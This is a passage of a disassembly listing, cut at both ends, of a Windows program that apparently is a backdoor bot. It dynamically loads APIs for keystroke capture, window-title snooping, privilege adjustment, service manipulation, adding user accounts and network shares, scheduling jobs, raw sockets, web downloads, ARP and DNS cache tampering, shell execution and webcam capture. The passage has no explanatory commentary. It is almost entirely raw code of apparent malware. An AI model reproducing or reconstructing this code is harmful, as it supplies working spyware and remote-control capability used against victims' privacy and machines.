esi ; dword_41D0B4 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_433B1C, eax call esi ; dword_41D0B4 cmp dword_433B24, ebx mov dword_433A10, eax jz short loc_406AB4 cmp dword_433AD4, ebx jz short loc_406AB4 cmp dword_433A68, ebx jz short loc_406AB4 cmp dword_433B78, ebx jz short loc_406AB4 cmp dword_433A98, ebx jz short loc_406AB4 cmp dword_433AB8, ebx jz short loc_406AB4 cmp dword_433B1C, ebx jz short loc_406AB4 cmp eax, ebx jnz short loc_406ABE loc_406AB4: ; CODE XREF: sub_4068C6+1B8j ; sub_4068C6+1C0j ... mov dword_433B90, 1 loc_406ABE: ; CODE XREF: sub_4068C6+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; dword_41D0B4 push offset aGetkeystate ; "GetKeyState" push edi mov dword_433A94, eax call esi ; dword_41D0B4 push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4339A8, eax call esi ; dword_41D0B4 push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_433A64, eax call esi ; dword_41D0B4 cmp dword_433A94, ebx mov dword_433A50, eax jz short loc_406B1B cmp dword_4339A8, ebx jz short loc_406B1B cmp dword_433A64, ebx jz short loc_406B1B cmp eax, ebx jnz short loc_406B25 jmp short loc_406B1B ; --------------------------------------------------------------------------- loc_406B10: ; CODE XREF: sub_4068C6+144j call dword_41D06C ; RtlGetLastWin32Error mov dword_433B94, eax loc_406B1B: ; CODE XREF: sub_4068C6+232j ; sub_4068C6+23Aj ... mov dword_433B90, 1 loc_406B25: ; CODE XREF: sub_4068C6+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; dword_41D0B8 mov edi, eax cmp edi, ebx jz loc_406CC0 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; dword_41D0B4 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_433B38, eax call esi ; dword_41D0B4 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_433A7C, eax call esi ; dword_41D0B4 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_433AEC, eax call esi ; dword_41D0B4 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4339D4, eax call esi ; dword_41D0B4 push offset aRegclosekey ; "RegCloseKey" push edi mov dword_433A34, eax call esi ; dword_41D0B4 cmp dword_433B38, ebx mov dword_433AA4, eax jz short loc_406BB0 cmp dword_433A7C, ebx jz short loc_406BB0 cmp dword_433AEC, ebx jz short loc_406BB0 cmp dword_4339D4, ebx jz short loc_406BB0 cmp dword_433A34, ebx jz short loc_406BB0 cmp eax, ebx jnz short loc_406BBA loc_406BB0: ; CODE XREF: sub_4068C6+2C4j ; sub_4068C6+2CCj ... mov dword_433B98, 1 loc_406BBA: ; CODE XREF: sub_4068C6+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; dword_41D0B4 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_433AAC, eax call esi ; dword_41D0B4 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_433A84, eax call esi ; dword_41D0B4 cmp dword_433AAC, ebx mov dword_433B34, eax jz short loc_406BF5 cmp dword_433A84, ebx jz short loc_406BF5 cmp eax, ebx jnz short loc_406BFF loc_406BF5: ; CODE XREF: sub_4068C6+321j ; sub_4068C6+329j mov dword_433B98, 1 loc_406BFF: ; CODE XREF: sub_4068C6+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; dword_41D0B4 push offset aOpenservicea ; "OpenServiceA" push edi mov dword_433ABC, eax call esi ; dword_41D0B4 push offset aStartservicea ; "StartServiceA" push edi mov dword_4339B0, eax call esi ; dword_41D0B4 push offset aControlservice ; "ControlService" push edi mov dword_4339B8, eax call esi ; dword_41D0B4 push offset aDeleteservice ; "DeleteService" push edi mov dword_433A18, eax call esi ; dword_41D0B4 push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_433A1C, eax call esi ; dword_41D0B4 push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4339CC, eax call esi ; dword_41D0B4 push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_433A88, eax call esi ; dword_41D0B4 cmp dword_433ABC, ebx mov dword_4339BC, eax jz short loc_406CA3 cmp dword_4339B0, ebx jz short loc_406CA3 cmp dword_4339B8, ebx jz short loc_406CA3 cmp dword_433A18, ebx jz short loc_406CA3 cmp dword_433A1C, ebx jz short loc_406CA3 cmp dword_4339CC, ebx jz short loc_406CA3 cmp dword_433A88, ebx jz short loc_406CA3 cmp eax, ebx jnz short loc_406CAD loc_406CA3: ; CODE XREF: sub_4068C6+3A7j ; sub_4068C6+3AFj ... mov dword_433B98, 1 loc_406CAD: ; CODE XREF: sub_4068C6+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; dword_41D0B4 cmp eax, ebx mov dword_4339B4, eax jnz short loc_406CD5 jmp short loc_406CCB ; --------------------------------------------------------------------------- loc_406CC0: ; CODE XREF: sub_4068C6+26Aj call dword_41D06C ; RtlGetLastWin32Error mov dword_433B9C, eax loc_406CCB: ; CODE XREF: sub_4068C6+3F8j mov dword_433B98, 1 loc_406CD5: ; CODE XREF: sub_4068C6+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; dword_41D0B8 mov edi, eax cmp edi, ebx jz loc_406DA1 push offset aCreatedca ; "CreateDCA" push edi call esi ; dword_41D0B4 push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_433AB4, eax call esi ; dword_41D0B4 push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_433B0C, eax call esi ; dword_41D0B4 push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_433B14, eax call esi ; dword_41D0B4 push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_433AD0, eax call esi ; dword_41D0B4 push offset aSelectobject ; "SelectObject" push edi mov dword_4339F8, eax call esi ; dword_41D0B4 push offset aBitblt ; "BitBlt" push edi mov dword_4339A4, eax call esi ; dword_41D0B4 push offset aDeletedc ; "DeleteDC" push edi mov dword_433B10, eax call esi ; dword_41D0B4 push offset aDeleteobject ; "DeleteObject" push edi mov dword_433990, eax call esi ; dword_41D0B4 cmp dword_433AB4, ebx mov dword_433A2C, eax jz short loc_406DAC cmp dword_433B0C, ebx jz short loc_406DAC cmp dword_433B14, ebx jz short loc_406DAC cmp dword_433AD0, ebx jz short loc_406DAC cmp dword_4339F8, ebx jz short loc_406DAC cmp dword_4339A4, ebx jz short loc_406DAC cmp dword_433B10, ebx jz short loc_406DAC cmp dword_433990, ebx jz short loc_406DAC cmp eax, ebx jnz short loc_406DB6 jmp short loc_406DAC ; --------------------------------------------------------------------------- loc_406DA1: ; CODE XREF: sub_4068C6+41Aj call dword_41D06C ; RtlGetLastWin32Error mov dword_433BA4, eax loc_406DAC: ; CODE XREF: sub_4068C6+49Bj ; sub_4068C6+4A3j ... mov dword_433BA0, 1 loc_406DB6: ; CODE XREF: sub_4068C6+4D7j mov ebp, dword_41D0B0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz loc_407072 push offset aWsastartup ; "WSAStartup" push edi call esi ; dword_41D0B4 push offset aWsasocketa ; "WSASocketA" push edi mov dword_433A40, eax call esi ; dword_41D0B4 push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_433B6C, eax call esi ; dword_41D0B4 push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4339E4, eax call esi ; dword_41D0B4 push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4339C0, eax call esi ; dword_41D0B4 push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_433A74, eax call esi ; dword_41D0B4 push offset aWsacleanup ; "WSACleanup" push edi mov dword_433A5C, eax call esi ; dword_41D0B4 push offset aSocket ; "socket" push edi mov dword_433A28, eax call esi ; dword_41D0B4 push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_433B48, eax call esi ; dword_41D0B4 push offset aConnect ; "connect" push edi mov dword_433B64, eax call esi ; dword_41D0B4 push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_433A70, eax call esi ; dword_41D0B4 push offset aInet_addr ; "inet_addr" push edi mov dword_433B54, eax call esi ; dword_41D0B4 push offset aHtons ; "htons" push edi mov dword_433B08, eax call esi ; dword_41D0B4 push offset aHtonl ; "htonl" push edi mov dword_433AC8, eax call esi ; dword_41D0B4 push offset aNtohs ; "ntohs" push edi mov dword_433AC4, eax call esi ; dword_41D0B4 push offset aNtohl ; "ntohl" push edi mov dword_433A04, eax call esi ; dword_41D0B4 push offset aSend ; "send" push edi mov dword_4339FC, eax call esi ; dword_41D0B4 push offset aSendto ; "sendto" push edi mov dword_433B18, eax call esi ; dword_41D0B4 push offset aRecv ; "recv" push edi mov dword_433B2C, eax call esi ; dword_41D0B4 push offset aRecvfrom ; "recvfrom" push edi mov dword_433AE0, eax call esi ; dword_41D0B4 mov dword_433AA0, eax push offset aBind ; "bind" push edi call esi ; dword_41D0B4 push offset aSelect ; "select" push edi mov dword_433AF4, eax call esi ; dword_41D0B4 push offset aListen ; "listen" push edi mov dword_433AB0, eax call esi ; dword_41D0B4 push offset aAccept ; "accept" push edi mov dword_433AF0, eax call esi ; dword_41D0B4 push offset aSetsockopt ; "setsockopt" push edi mov dword_433B5C, eax call esi ; dword_41D0B4 push offset aGetsockname ; "getsockname" push edi mov dword_433AA8, eax call esi ; dword_41D0B4 push offset aGethostname ; "gethostname" push edi mov dword_433A6C, eax call esi ; dword_41D0B4 push offset aGethostbyname ; "gethostbyname" push edi mov dword_433ADC, eax call esi ; dword_41D0B4 push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_433B4C, eax call esi ; dword_41D0B4 push offset aGetpeername ; "getpeername" push edi mov dword_433A80, eax call esi ; dword_41D0B4 push offset aClosesocket ; "closesocket" push edi mov dword_433A24, eax call esi ; dword_41D0B4 cmp dword_433A40, ebx mov dword_433B60, eax jz loc_40707D cmp dword_433B6C, ebx jz loc_40707D cmp dword_4339E4, ebx jz loc_40707D cmp dword_433A74, ebx jz loc_40707D cmp dword_433A5C, ebx jz loc_40707D cmp dword_433A28, ebx jz loc_40707D cmp dword_433B48, ebx jz loc_40707D cmp dword_433B64, ebx jz loc_40707D cmp dword_433A70, ebx jz loc_40707D cmp dword_433B54, ebx jz loc_40707D cmp dword_433B08, ebx jz loc_40707D cmp dword_433AC8, ebx jz loc_40707D cmp dword_433AC4, ebx jz loc_40707D cmp dword_433A04, ebx jz short loc_40707D cmp dword_433B18, ebx jz short loc_40707D cmp dword_433B2C, ebx jz short loc_40707D cmp dword_433AE0, ebx jz short loc_40707D cmp dword_433AA0, ebx jz short loc_40707D cmp dword_433AF4, ebx jz short loc_40707D cmp dword_433AB0, ebx jz short loc_40707D cmp dword_433AF0, ebx jz short loc_40707D cmp dword_433B5C, ebx jz short loc_40707D cmp dword_433AA8, ebx jz short loc_40707D cmp dword_433A6C, ebx jz short loc_40707D cmp dword_433ADC, ebx jz short loc_40707D cmp dword_433B4C, ebx jz short loc_40707D cmp dword_433A80, ebx jz short loc_40707D cmp eax, ebx jnz short loc_407087 jmp short loc_40707D ; --------------------------------------------------------------------------- loc_407072: ; CODE XREF: sub_4068C6+501j call dword_41D06C ; RtlGetLastWin32Error mov dword_433BAC, eax loc_40707D: ; CODE XREF: sub_4068C6+6A0j ; sub_4068C6+6ACj ... mov dword_433BA8, 1 loc_407087: ; CODE XREF: sub_4068C6+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz loc_40718C push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; dword_41D0B4 push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_433A0C, eax call esi ; dword_41D0B4 push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_433998, eax call esi ; dword_41D0B4 push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_433A90, eax call esi ; dword_41D0B4 push offset aInternetconnec ; "InternetConnectA" push edi mov dword_433A44, eax call esi ; dword_41D0B4 push offset aInternetopena ; "InternetOpenA" push edi mov dword_433A9C, eax call esi ; dword_41D0B4 push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_433A60, eax call esi ; dword_41D0B4 push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4339D8, eax call esi ; dword_41D0B4 push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4339D0, eax call esi ; dword_41D0B4 push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4339E0, eax call esi ; dword_41D0B4 cmp dword_433A0C, ebx mov ecx, dword_433A60 mov dword_433AFC, eax jz short loc_407168 cmp dword_433998, ebx jz short loc_407168 cmp dword_433A90, ebx jz short loc_407168 cmp dword_433A44, ebx jz short loc_407168 cmp dword_433A9C, ebx jz short loc_407168 cmp ecx, ebx jz short loc_407168 cmp dword_4339D8, ebx jz short loc_407168 cmp dword_4339D0, ebx jz short loc_407168 cmp dword_4339E0, ebx jz short loc_407168 cmp eax, ebx jnz short loc_407172 loc_407168: ; CODE XREF: sub_4068C6+860j ; sub_4068C6+868j ... mov dword_433BB0, 1 loc_407172: ; CODE XREF: sub_4068C6+8A0j cmp ecx, ebx jz short loc_4071A7 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; dword_433A60 cmp eax, ebx mov dword_433A78, eax jnz short loc_4071A7 jmp short loc_4071A1 ; --------------------------------------------------------------------------- loc_40718C: ; CODE XREF: sub_4068C6+7CCj call dword_41D06C ; RtlGetLastWin32Error mov dword_433BB4, eax mov dword_433BB0, 1 loc_4071A1: ; CODE XREF: sub_4068C6+8C4j mov dword_433A78, ebx loc_4071A7: ; CODE XREF: sub_4068C6+8AEj ; sub_4068C6+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_4071F1 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; dword_41D0B4 push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_433A54, eax call esi ; dword_41D0B4 push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_433B80, eax call esi ; dword_41D0B4 cmp dword_433A54, ebx mov dword_4339EC, eax jz short loc_4071FC cmp dword_433B80, ebx jz short loc_4071FC cmp eax, ebx jnz short loc_407206 jmp short loc_4071FC ; --------------------------------------------------------------------------- loc_4071F1: ; CODE XREF: sub_4068C6+8ECj call dword_41D06C ; RtlGetLastWin32Error mov dword_433BBC, eax loc_4071FC: ; CODE XREF: sub_4068C6+91Bj ; sub_4068C6+923j ... mov dword_433BB8, 1 loc_407206: ; CODE XREF: sub_4068C6+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz loc_4072FC push offset aNetshareadd ; "NetShareAdd" push edi call esi ; dword_41D0B4 push offset aNetsharedel ; "NetShareDel" push edi mov dword_4339C8, eax call esi ; dword_41D0B4 push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4339A0, eax call esi ; dword_41D0B4 push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_433A14, eax call esi ; dword_41D0B4 push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_433A48, eax call esi ; dword_41D0B4 push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_433B58, eax call esi ; dword_41D0B4 push offset aNetuseradd ; "NetUserAdd" push edi mov dword_433A00, eax call esi ; dword_41D0B4 push offset aNetuserdel ; "NetUserDel" push edi mov dword_4339AC, eax call esi ; dword_41D0B4 push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43399C, eax call esi ; dword_41D0B4 push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_433A30, eax call esi ; dword_41D0B4 push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_433B20, eax call esi ; dword_41D0B4 cmp dword_4339C8, ebx mov dword_433AD8, eax jz short loc_407307 cmp dword_4339A0, ebx jz short loc_407307 cmp dword_433A14, ebx jz short loc_407307 cmp dword_433A48, ebx jz short loc_407307 cmp dword_433B58, ebx jz short loc_407307 cmp dword_433A00, ebx jz short loc_407307 cmp dword_4339AC, ebx jz short loc_407307 cmp dword_43399C, ebx jz short loc_407307 cmp dword_433A30, ebx jz short loc_407307 cmp dword_433B20, ebx jz short loc_407307 cmp eax, ebx jnz short loc_407311 jmp short loc_407307 ; --------------------------------------------------------------------------- loc_4072FC: ; CODE XREF: sub_4068C6+94Bj call dword_41D06C ; RtlGetLastWin32Error mov dword_433BC4, eax loc_407307: ; CODE XREF: sub_4068C6+9E6j ; sub_4068C6+9EEj ... mov dword_433BC0, 1 loc_407311: ; CODE XREF: sub_4068C6+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_407346 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; dword_41D0B4 push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4339F0, eax call esi ; dword_41D0B4 cmp dword_4339F0, ebx mov dword_433AC0, eax jz short loc_407351 cmp eax, ebx jnz short loc_40735B jmp short loc_407351 ; --------------------------------------------------------------------------- loc_407346: ; CODE XREF: sub_4068C6+A56j call dword_41D06C ; RtlGetLastWin32Error mov dword_433BCC, eax loc_407351: ; CODE XREF: sub_4068C6+A78j ; sub_4068C6+A7Ej mov dword_433BC8, 1 loc_40735B: ; CODE XREF: sub_4068C6+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_407390 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; dword_41D0B4 push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_433B44, eax call esi ; dword_41D0B4 cmp dword_433B44, ebx mov dword_433B40, eax jz short loc_40739B cmp eax, ebx jnz short loc_4073A5 jmp short loc_40739B ; --------------------------------------------------------------------------- loc_407390: ; CODE XREF: sub_4068C6+AA0j call dword_41D06C ; RtlGetLastWin32Error mov dword_433BD4, eax loc_40739B: ; CODE XREF: sub_4068C6+AC2j ; sub_4068C6+AC8j mov dword_433BD0, 1 loc_4073A5: ; CODE XREF: sub_4068C6+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_407404 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; dword_41D0B4 push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_433B70, eax call esi ; dword_41D0B4 push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_433B68, eax call esi ; dword_41D0B4 push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_433B30, eax call esi ; dword_41D0B4 cmp dword_433B70, ebx mov dword_433A08, eax jz short loc_40740F cmp dword_433B68, ebx jz short loc_40740F cmp dword_433B30, ebx jz short loc_40740F cmp eax, ebx jnz short loc_407419 jmp short loc_40740F ; --------------------------------------------------------------------------- loc_407404: ; CODE XREF: sub_4068C6+AEAj call dword_41D06C ; RtlGetLastWin32Error mov dword_433BDC, eax loc_40740F: ; CODE XREF: sub_4068C6+B26j ; sub_4068C6+B2Ej ... mov dword_433BD8, 1 loc_407419: ; CODE XREF: sub_4068C6+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_40744E push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; dword_41D0B4 push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_433A3C, eax call esi ; dword_41D0B4 cmp dword_433A3C, ebx mov dword_433B3C, eax jz short loc_407459 cmp eax, ebx jnz short loc_407463 jmp short loc_407459 ; --------------------------------------------------------------------------- loc_40744E: ; CODE XREF: sub_4068C6+B5Ej call dword_41D06C ; RtlGetLastWin32Error mov dword_433BE4, eax loc_407459: ; CODE XREF: sub_4068C6+B80j ; sub_4068C6+B86j mov dword_433BE0, 1 loc_407463: ; CODE XREF: sub_4068C6+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_4074EC push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; dword_41D0B4 push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_433B04, eax call esi ; dword_41D0B4 push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_433B50, eax call esi ; dword_41D0B4 push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_433A8C, eax call esi ; dword_41D0B4 push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_433A4C, eax call esi ; dword_41D0B4 push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_433AE4, eax call esi ; dword_41D0B4 cmp dword_433B04, ebx mov dword_433A58, eax jz short loc_4074F7 cmp dword_433B50, ebx jz short loc_4074F7 cmp dword_433A8C, ebx jz short loc_4074F7 cmp dword_433A4C, ebx jz short loc_4074F7 cmp dword_433AE4, ebx jz short loc_4074F7 cmp eax, ebx jnz short loc_407501 jmp short loc_4074F7 ; --------------------------------------------------------------------------- loc_4074EC: ; CODE XREF: sub_4068C6+BA8j call dword_41D06C ; RtlGetLastWin32Error mov dword_433BEC, eax loc_4074F7: ; CODE XREF: sub_4068C6+BFEj ; sub_4068C6+C06j ... mov dword_433BE8, 1 loc_407501: ; CODE XREF: sub_4068C6+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; dword_41D0B0 mov edi, eax cmp edi, ebx jz short loc_407536 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; dword_41D0B4 push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_433A20, eax call esi ; dword_41D0B4 cmp dword_433A20, ebx mov dword_433AF8, eax jz short loc_407541 cmp eax, ebx jnz short loc_40754B jmp short loc_407541 ; --------------------------------------------------------------------------- loc_407536: ; CODE XREF: sub_4068C6+C46j call dword_41D06C ; RtlGetLastWin32Error mov dword_433BF4, eax loc_407541: ; CODE XREF: sub_4068C6+C68j ; sub_4068C6+C6Ej mov dword_433BF0, 1 loc_40754B: ; CODE XREF: sub_4068C6+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4068C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407553 proc near ; CODE XREF: .nsp0:0040EFACp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_433B88, esi push edi mov edi, [ebp+arg_8] jz short loc_40759B push dword_433B8C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40759B: ; CODE XREF: sub_407553+1Aj cmp dword_433B90, esi jz short loc_4075CF push dword_433B94 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_4075CF: ; CODE XREF: sub_407553+4Ej cmp dword_433B98, esi jz short loc_407603 push dword_433B9C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_407603: ; CODE XREF: sub_407553+82j cmp dword_433BA0, esi jz short loc_407637 push dword_433BA4 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_407637: ; CODE XREF: sub_407553+B6j cmp dword_433BA8, esi jz short loc_40766B push dword_433BAC lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40766B: ; CODE XREF: sub_407553+EAj cmp dword_433BB0, esi jz short loc_40769F push dword_433BB4 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40769F: ; CODE XREF: sub_407553+11Ej cmp dword_433BB8, esi jz short loc_4076D3 push dword_433BBC lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_4076D3: ; CODE XREF: sub_407553+152j cmp dword_433BC0, esi jz short loc_407707 push dword_433BC4 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_407707: ; CODE XREF: sub_407553+186j cmp dword_433BC8, esi jz short loc_40773B push dword_433BCC lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40773B: ; CODE XREF: sub_407553+1BAj cmp dword_433BD0, esi jz short loc_40776F push dword_433BD4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40776F: ; CODE XREF: sub_407553+1EEj cmp dword_433BD8, esi jz short loc_4077A3 push dword_433BDC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_4077A3: ; CODE XREF: sub_407553+222j cmp dword_433BE0, esi jz short loc_4077D7 push dword_433BE4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_4077D7: ; CODE XREF: sub_407553+256j cmp dword_433BE8, esi jz short loc_40780B push dword_433BEC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40780B: ; CODE XREF: sub_407553+28Aj cmp dword_433BF0, esi jz short loc_40783F push dword_433BF4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_411EEE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 20h loc_40783F: ; CODE XREF: sub_407553+2BEj lea eax, [ebp+var_200] push offset dword_42387C push eax call sub_411EEE cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40786C push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_40786C: ; CODE XREF: sub_407553+302j lea eax, [ebp+var_200] push eax call sub_408E17 pop ecx pop edi pop esi pop ebx leave retn sub_407553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40787E proc near ; CODE XREF: .nsp0:0040ACC0p ; .nsp0:0040ACF4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_407909 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_407909 cmp [ebp+arg_8], esi jz short loc_407909 cmp byte ptr [eax], 0 jz short loc_407909 push ebx push edi call sub_41C64B mov ebx, eax pop ecx test ebx, ebx jz short loc_407904 push [ebp+arg_4] push edi call sub_4124C0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4078FD sub eax, edi push eax push edi push ebx call sub_413710 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_4126F0 push eax push [ebp+arg_8] push ebx call sub_4138E0 push [ebp+arg_4] call sub_4126F0 add eax, esi push eax push ebx call sub_412610 push ebx push edi call sub_412600 add esp, 30h mov esi, edi loc_4078FD: ; CODE XREF: sub_40787E+3Cj push ebx call sub_412813 pop ecx loc_407904: ; CODE XREF: sub_40787E+2Bj mov eax, esi pop ebx jmp short loc_40790B ; --------------------------------------------------------------------------- loc_407909: ; CODE XREF: sub_40787E+Cj ; sub_40787E+13j ... xor eax, eax loc_40790B: ; CODE XREF: sub_40787E+89j pop edi pop esi pop ebp retn sub_40787E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40790F proc near ; CODE XREF: sub_40A1C1+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub 